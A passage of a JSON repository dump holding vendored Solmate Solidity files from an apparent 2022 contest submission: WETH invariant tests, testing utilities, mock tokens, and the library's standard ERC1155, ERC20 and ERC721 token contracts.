balanceBeforeWithdraw = address(this).balance;\n\n        weth.withdraw(withdrawAmount);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + withdrawAmount);\n        assertEq(weth.balanceOf(address(this)), depositAmount - withdrawAmount);\n        assertEq(weth.totalSupply(), depositAmount - withdrawAmount);\n    }\n\n    receive() external payable {}\n}\n\ncontract WETHInvariants is DSTestPlus, DSInvariantTest {\n    WETHTester wethTester;\n    WETH weth;\n\n    function setUp() public {\n        weth = new WETH();\n        wethTester = new WETHTester{value: address(this).balance}(weth);\n\n        addTargetContract(address(wethTester));\n    }\n\n    function invariantTotalSupplyEqualsBalance() public {\n        assertEq(address(weth).balance, weth.totalSupply());\n    }\n}\n\ncontract WETHTester {\n    WETH weth;\n\n    constructor(WETH _weth) payable {\n        weth = _weth;\n    }\n\n    function deposit(uint256 amount) public {\n        weth.deposit{value: amount}();\n    }\n\n    function fallbackDeposit(uint256 amount) public {\n        SafeTransferLib.safeTransferETH(address(weth), amount);\n    }\n\n    function withdraw(uint256 amount) public {\n        weth.withdraw(amount);\n    }\n\n    receive() external payable {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/DSInvariantTest.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\ncontract DSInvariantTest {\n    address[] private targets;\n\n    function targetContracts() public view virtual returns (address[] memory) {\n        require(targets.length > 0, \"NO_TARGET_CONTRACTS\");\n\n        return targets;\n    }\n\n    function addTargetContract(address newTargetContract) internal virtual {\n        targets.push(newTargetContract);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/DSTestPlus.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {DSTest} from \"ds-test/test.sol\";\n\nimport {Hevm} from \"./Hevm.sol\";\n\n/// @notice Extended testing framework for DappTools projects.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/test/utils/DSTestPlus.sol)\ncontract DSTestPlus is DSTest {\n    Hevm internal constant hevm = Hevm(HEVM_ADDRESS);\n\n    address internal constant DEAD_ADDRESS = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;\n\n    string private checkpointLabel;\n    uint256 private checkpointGasLeft;\n\n    function startMeasuringGas(string memory label) internal virtual {\n        checkpointLabel = label;\n        checkpointGasLeft = gasleft();\n    }\n\n    function stopMeasuringGas() internal virtual {\n        uint256 checkpointGasLeft2 = gasleft();\n\n        string memory label = checkpointLabel;\n\n        emit log_named_uint(string(abi.encodePacked(label, \" Gas\")), checkpointGasLeft - checkpointGasLeft2);\n    }\n\n    function fail(string memory err) internal virtual {\n        emit log_named_string(\"Error\", err);\n        fail();\n    }\n\n    function assertFalse(bool data) internal virtual {\n        assertTrue(!data);\n    }\n\n    function assertUint128Eq(uint128 a, uint128 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint64Eq(uint64 a, uint64 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint96Eq(uint96 a, uint96 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint32Eq(uint32 a, uint32 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertBoolEq(bool a, bool b) internal virtual {\n        b ? assertTrue(a) : assertFalse(a);\n    }\n\n    function assertApproxEq(\n        uint256 a,\n        uint256 b,\n        uint256 maxDelta\n    ) internal virtual {\n        uint256 delta = a > b ? a - b : b - a;\n\n        if (delta > maxDelta) {\n            emit log(\"Error: a ~= b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", a);\n            emit log_named_uint(\"    Actual\", b);\n            emit log_named_uint(\" Max Delta\", maxDelta);\n            emit log_named_uint(\"     Delta\", delta);\n            fail();\n        }\n    }\n\n    function assertRelApproxEq(\n        uint256 a,\n        uint256 b,\n        uint256 maxPercentDelta\n    ) internal virtual {\n        uint256 delta = a > b ? a - b : b - a;\n        uint256 abs = a > b ? a : b;\n\n        uint256 percentDelta = (delta * 1e18) / abs;\n\n        if (percentDelta > maxPercentDelta) {\n            emit log(\"Error: a ~= b not satisfied [uint]\");\n            emit log_named_uint(\"    Expected\", a);\n            emit log_named_uint(\"      Actual\", b);\n            emit log_named_uint(\" Max % Delta\", maxPercentDelta);\n            emit log_named_uint(\"     % Delta\", percentDelta);\n            fail();\n        }\n    }\n\n    function assertBytesEq(bytes memory a, bytes memory b) internal virtual {\n        if (keccak256(a) != keccak256(b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", b);\n            emit log_named_bytes(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertUintArrayEq(uint256[] memory a, uint256[] memory b) internal virtual {\n        require(a.length == b.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < a.length; i++) {\n            assertEq(a[i], b[i]);\n        }\n    }\n\n    function bound(\n        uint256 x,\n        uint256 min,\n        uint256 max\n    ) internal pure returns (uint256 result) {\n        require(max >= min, \"MAX_LESS_THAN_MIN\");\n\n        uint256 size = max - min;\n\n        if (max != type(uint256).max) size++; // Make the max inclusive.\n        if (size == 0) return min; // Using max would be equivalent as well.\n        // Ensure max is inclusive in cases where x != 0 and max is at uint max.\n        if (max == type(uint256).max && x != 0) x--; // Accounted for later.\n\n        if (x < min) x += size * (((min - x) / size) + 1);\n        result = min + ((x - min) % size);\n\n        // Account for decrementing x to make max inclusive.\n        if (max == type(uint256).max && x != 0) result++;\n    }\n\n    function min3(\n        uint256 a,\n        uint256 b,\n        uint256 c\n    ) internal pure returns (uint256) {\n        return a > b ? (b > c ? c : b) : (a > c ? c : a);\n    }\n\n    function min2(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a > b ? b : a;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/Hevm.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\ninterface Hevm {\n    function warp(uint256) external;\n\n    function roll(uint256) external;\n\n    function store(\n        address,\n        bytes32,\n        bytes32\n    ) external;\n\n    function load(address, bytes32) external returns (bytes32);\n\n    function sign(uint256, bytes32)\n        external\n        returns (\n            uint8,\n            bytes32,\n            bytes32\n        );\n\n    function addr(uint256) external returns (address);\n\n    function ffi(string[] calldata) external returns (bytes memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockAuthChild.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Auth, Authority} from \"../../../auth/Auth.sol\";\n\ncontract MockAuthChild is Auth(msg.sender, Authority(address(0))) {\n    bool public flag;\n\n    function updateFlag() public virtual requiresAuth {\n        flag = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Authority} from \"../../../auth/Auth.sol\";\n\ncontract MockAuthority is Authority {\n    bool immutable allowCalls;\n\n    constructor(bool _allowCalls) {\n        allowCalls = _allowCalls;\n    }\n\n    function canCall(\n        address,\n        address,\n        bytes4\n    ) public view override returns (bool) {\n        return allowCalls;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockERC1155.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC1155} from \"../../../tokens/ERC1155.sol\";\n\ncontract MockERC1155 is ERC1155 {\n    function uri(uint256) public pure virtual override returns (string memory) {}\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        _mint(to, id, amount, data);\n    }\n\n    function batchMint(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        _batchMint(to, ids, amounts, data);\n    }\n\n    function burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) public virtual {\n        _burn(from, id, amount);\n    }\n\n    function batchBurn(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) public virtual {\n        _batchBurn(from, ids, amounts);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockERC20.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\n\ncontract MockERC20 is ERC20 {\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) ERC20(_name, _symbol, _decimals) {}\n\n    function mint(address to, uint256 value) public virtual {\n        _mint(to, value);\n    }\n\n    function burn(address from, uint256 value) public virtual {\n        _burn(from, value);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockERC721.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC721} from \"../../../tokens/ERC721.sol\";\n\ncontract MockERC721 is ERC721 {\n    constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {}\n\n    function tokenURI(uint256) public pure virtual override returns (string memory) {}\n\n    function mint(address to, uint256 tokenId) public virtual {\n        _mint(to, tokenId);\n    }\n\n    function burn(uint256 tokenId) public virtual {\n        _burn(tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public virtual {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory data\n    ) public virtual {\n        _safeMint(to, tokenId, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/ERC1155User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC1155, ERC1155TokenReceiver} from \"../../../tokens/ERC1155.sol\";\n\ncontract ERC1155User is ERC1155TokenReceiver {\n    ERC1155 token;\n\n    constructor(ERC1155 _token) {\n        token = _token;\n    }\n\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) external virtual override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external virtual override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        token.setApprovalForAll(operator, approved);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        token.safeTransferFrom(from, to, id, amount, data);\n    }\n\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        token.safeBatchTransferFrom(from, to, ids, amounts, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/ERC20User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\n\ncontract ERC20User {\n    ERC20 token;\n\n    constructor(ERC20 _token) {\n        token = _token;\n    }\n\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\n        return token.approve(spender, amount);\n    }\n\n    function transfer(address to, uint256 amount) public virtual returns (bool) {\n        return token.transfer(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        return token.transferFrom(from, to, amount);\n    }\n\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        return token.permit(owner, spender, value, deadline, v, r, s);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/ERC721User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC721, ERC721TokenReceiver} from \"../../../tokens/ERC721.sol\";\n\ncontract ERC721User is ERC721TokenReceiver {\n    ERC721 token;\n\n    constructor(ERC721 _token) {\n        token = _token;\n    }\n\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        return ERC721TokenReceiver.onERC721Received.selector;\n    }\n\n    function approve(address spender, uint256 tokenId) public virtual {\n        token.approve(spender, tokenId);\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        token.setApprovalForAll(operator, approved);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual {\n        token.transferFrom(from, to, tokenId);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual {\n        token.safeTransferFrom(from, to, tokenId);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory data\n    ) public {\n        token.safeTransferFrom(from, to, tokenId, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/GenericUser.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-or-later\npragma solidity >=0.8.0;\n\ncontract GenericUser {\n    function tryCall(address target, bytes memory data) public virtual returns (bool success, bytes memory returnData) {\n        (success, returnData) = target.call(data);\n    }\n\n    function call(address target, bytes memory data) public virtual returns (bytes memory returnData) {\n        bool success;\n        (success, returnData) = target.call(data);\n\n        if (!success) {\n            if (returnData.length > 0) {\n                assembly {\n                    let returnDataSize := mload(returnData)\n                    revert(add(32, returnData), returnDataSize)\n                }\n            } else {\n                revert(\"REVERTED_WITHOUT_A_MESSAGE\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/ERC1155.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Minimalist and gas efficient standard ERC1155 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)\nabstract contract ERC1155 {\n    /*///////////////////////////////////////////////////////////////\n                                EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event TransferSingle(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256 id,\n        uint256 amount\n    );\n\n    event TransferBatch(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256[] ids,\n        uint256[] amounts\n    );\n\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    event URI(string value, uint256 indexed id);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC1155 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => mapping(uint256 => uint256)) public balanceOf;\n\n    mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n    /*///////////////////////////////////////////////////////////////\n                             METADATA LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function uri(uint256 id) public view virtual returns (string memory);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC1155 ACTIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        isApprovedForAll[msg.sender][operator] = approved;\n\n        emit ApprovalForAll(msg.sender, operator, approved);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        require(msg.sender == from || isApprovedForAll[from][msg.sender], \"NOT_AUTHORIZED\");\n\n        balanceOf[from][id] -= amount;\n        balanceOf[to][id] += amount;\n\n        emit TransferSingle(msg.sender, from, to, id, amount);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==\n                    ERC1155TokenReceiver.onERC1155Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        require(msg.sender == from || isApprovedForAll[from][msg.sender], \"NOT_AUTHORIZED\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            balanceOf[from][id] -= amount;\n            balanceOf[to][id] += amount;\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, from, to, ids, amounts);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==\n                    ERC1155TokenReceiver.onERC1155BatchReceived.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function balanceOfBatch(address[] memory owners, uint256[] memory ids)\n        public\n        view\n        virtual\n        returns (uint256[] memory balances)\n    {\n        uint256 ownersLength = owners.length; // Saves MLOADs.\n\n        require(ownersLength == ids.length, \"LENGTH_MISMATCH\");\n\n        balances = new uint256[](owners.length);\n\n        // Unchecked because the only math done is incrementing\n        // the array index counter which cannot possibly overflow.\n        unchecked {\n            for (uint256 i = 0; i < ownersLength; i++) {\n                balances[i] = balanceOf[owners[i]][ids[i]];\n            }\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC165 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n        return\n            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n            interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155\n            interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal {\n        balanceOf[to][id] += amount;\n\n        emit TransferSingle(msg.sender, address(0), to, id, amount);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==\n                    ERC1155TokenReceiver.onERC1155Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _batchMint(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            balanceOf[to][ids[i]] += amounts[i];\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, address(0), to, ids, amounts);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==\n                    ERC1155TokenReceiver.onERC1155BatchReceived.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _batchBurn(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) internal {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            balanceOf[from][ids[i]] -= amounts[i];\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, from, address(0), ids, amounts);\n    }\n\n    function _burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) internal {\n        balanceOf[from][id] -= amount;\n\n        emit TransferSingle(msg.sender, from, address(0), id, amount);\n    }\n}\n\n/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)\ninterface ERC1155TokenReceiver {\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 amount,\n        bytes calldata data\n    ) external returns (bytes4);\n\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata amounts,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/ERC20.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)\n/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)\n/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.\nabstract contract ERC20 {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Transfer(address indexed from, address indexed to, uint256 amount);\n\n    event Approval(address indexed owner, address indexed spender, uint256 amount);\n\n    /*///////////////////////////////////////////////////////////////\n                             METADATA STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    string public name;\n\n    string public symbol;\n\n    uint8 public immutable decimals;\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC20 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 public totalSupply;\n\n    mapping(address => uint256) public balanceOf;\n\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    /*///////////////////////////////////////////////////////////////\n                             EIP-2612 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    bytes32 public constant PERMIT_TYPEHASH =\n        keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");\n\n    uint256 internal immutable INITIAL_CHAIN_ID;\n\n    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;\n\n    mapping(address => uint256) public nonces;\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) {\n        name = _name;\n        symbol = _symbol;\n        decimals = _decimals;\n\n        INITIAL_CHAIN_ID = block.chainid;\n        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC20 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\n        allowance[msg.sender][spender] = amount;\n\n        emit Approval(msg.sender, spender, amount);\n\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) public virtual returns (bool) {\n        balanceOf[msg.sender] -= amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(msg.sender, to, amount);\n\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.\n\n        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;\n\n        balanceOf[from] -= amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(from, to, amount);\n\n        return true;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              EIP-2612 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        require(deadline >= block.timestamp, \"PERMIT_DEADLINE_EXPIRED\");\n\n        // Unchecked because the only math done is incrementing\n        // the owner's nonce which cannot realistically overflow.\n        unchecked {\n            bytes32 digest = keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))\n                )\n            );\n\n            address recoveredAddress = ecrecover(digest, v, r, s);\n\n            require(recoveredAddress != address(0) && recoveredAddress == owner, \"INVALID_SIGNER\");\n\n            allowance[recoveredAddress][spender] = value;\n        }\n\n        emit Approval(owner, spender, value);\n    }\n\n    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {\n        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();\n    }\n\n    function computeDomainSeparator() internal view virtual returns (bytes32) {\n        return\n            keccak256(\n                abi.encode(\n                    keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"),\n                    keccak256(bytes(name)),\n                    keccak256(\"1\"),\n                    block.chainid,\n                    address(this)\n                )\n            );\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address to, uint256 amount) internal virtual {\n        totalSupply += amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(address(0), to, amount);\n    }\n\n    function _burn(address from, uint256 amount) internal virtual {\n        balanceOf[from] -= amount;\n\n        // Cannot underflow because a user's balance\n        // will never be larger than the total supply.\n        unchecked {\n            totalSupply -= amount;\n        }\n\n        emit Transfer(from, address(0), amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/ERC721.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)\n/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.\nabstract contract ERC721 {\n    /*///////////////////////////////////////////////////////////////\n                                 EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Transfer(address indexed from, address indexed to, uint256 indexed id);\n\n    event Approval(address indexed owner, address indexed spender, uint256 indexed id);\n\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    /*///////////////////////////////////////////////////////////////\n                          METADATA STORAGE/LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    string public name;\n\n    string public symbol;\n\n    function tokenURI(uint256 id) public view virtual returns (string memory);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC721 STORAGE                        \n    //////////////////////////////////////////////////////////////*/\n\n    uint256 public totalSupply;\n\n    mapping(address => uint256) public balanceOf;\n\n    mapping(uint256 => address) public ownerOf;\n\n    mapping(uint256 => address) public getApproved;\n\n    mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n    /*///////////////////////////////////////////////////////////////\n                              CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(string memory _name, string memory _symbol) {\n        name = _name;\n        symbol = _symbol;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC721 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address spender, uint256 id) public virtual {\n        address owner = ownerOf[id];\n\n        require(msg.sender == owner || isApprovedForAll[owner][msg.sender], \"NOT_AUTHORIZED\");\n\n        getApproved[id] = spender;\n\n        emit Approval(owner, spender, id);\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        isApprovedForAll[msg.sender][operator] = approved;\n\n        emit ApprovalForAll(msg.sender, operator, approved);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 id\n    ) public virtual {\n        require(from == ownerOf[id], \"WRONG_FROM\");\n\n        require(to != address(0), \"INVALID_RECIPIENT\");\n\n        require(\n            msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],\n            \"NOT_AUTHORIZED\"\n        );\n\n        // Underflow of the sender's balance is impossible because we check for\n        // ownership above and the recipient's balance can't realistically overflow.\n        unchecked {\n            balanceOf[from]--;\n\n            balanceOf[to]++;\n        }\n\n        delete getApproved[id];\n\n        ownerOf[id] = to;\n\n        emit Transfer(from, to, id);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id\n    ) public virtual {\n        transferFrom(from, to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, \"\") ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        bytes memory data\n    ) public virtual {\n        transferFrom(from, to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    